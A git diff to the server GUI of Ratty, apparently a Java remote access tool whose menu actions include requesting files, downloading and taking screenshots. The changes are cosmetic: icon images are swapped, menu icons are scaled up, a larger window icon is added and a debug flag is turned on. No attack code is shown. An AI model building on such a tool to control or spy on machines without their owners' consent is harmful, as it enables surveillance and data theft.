diff --git a/Ratty/res/gui_icon.png b/Ratty/res/gui_icon.png index dc18e52..edecc98 100644 Binary files a/Ratty/res/gui_icon.png and b/Ratty/res/gui_icon.png differ diff --git a/Ratty/res/menu_icons.png b/Ratty/res/menu_icons.png index a3e2b5f..ed4b23a 100644 Binary files a/Ratty/res/menu_icons.png and b/Ratty/res/menu_icons.png differ diff --git a/Ratty/res/menu_icons_tree.png b/Ratty/res/menu_icons_tree.png index 45da876..d9657bc 100644 Binary files a/Ratty/res/menu_icons_tree.png and b/Ratty/res/menu_icons_tree.png differ diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index d7727e6..c400e33 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -25,7 +25,7 @@ import de.sogomn.rat.server.gui.RattyGuiController; */ public final class Ratty { - public static final boolean DEBUG = false; + public static final boolean DEBUG = true; public static final String VERSION = "1.3"; public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang"); diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTree.java b/Ratty/src/de/sogomn/rat/server/gui/FileTree.java index 26ea850..7606d51 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/FileTree.java +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTree.java @@ -1,6 +1,6 @@ package de.sogomn.rat.server.gui; -import static de.sogomn.rat.Ratty.*; +import static de.sogomn.rat.Ratty.LANGUAGE; import java.awt.Dimension; import java.awt.event.ActionEvent; @@ -21,6 +21,7 @@ import javax.swing.tree.TreePath; import de.sogomn.engine.fx.SpriteSheet; import de.sogomn.engine.util.AbstractListenerContainer; +import de.sogomn.engine.util.ImageUtils; public final class FileTree extends AbstractListenerContainer { @@ -37,7 +38,7 @@ public final class FileTree extends AbstractListenerContainer { private static final String ROOT_NAME = ""; private static final Dimension DEFAULT_SIZE = new Dimension(500, 500); - private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons_tree.png", 32, 32).getSprites(); + private static final BufferedImage[] MENU_ICONS = new SpriteSheet(ImageUtils.scaleImage(ImageUtils.loadImage("/menu_icons_tree.png"), 2), 16 * 2, 16 * 2).getSprites(); public static final String REQUEST = LANGUAGE.getString("action.request_files"); public static final String DOWNLOAD = LANGUAGE.getString("action.download"); diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index 9ea0845..b8d2cf6 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -53,8 +53,9 @@ final class RattyGui extends AbstractListenerContainer { private static final BufferedImage GUI_ICON_SMALL = ImageUtils.loadImage("/gui_icon.png"); private static final BufferedImage GUI_ICON_MEDIUM = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64); private static final BufferedImage GUI_ICON_LARGE = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 128, 128); - private static final List GUI_ICONS = Arrays.asList(GUI_ICON_SMALL, GUI_ICON_MEDIUM, GUI_ICON_LARGE); - private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons.png", 32, 32).getSprites(); + private static final BufferedImage GUI_ICON_HUGE = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 128, 128); + private static final List GUI_ICONS = Arrays.asList(GUI_ICON_SMALL, GUI_ICON_MEDIUM, GUI_ICON_LARGE, GUI_ICON_HUGE); + private static final BufferedImage[] MENU_ICONS = new SpriteSheet(ImageUtils.scaleImage(ImageUtils.loadImage("/menu_icons.png"), 2), 16 * 2, 16 * 2).getSprites(); public static final String POPUP = LANGUAGE.getString("action.popup"); public static final String SCREENSHOT = LANGUAGE.getString("action.screenshot");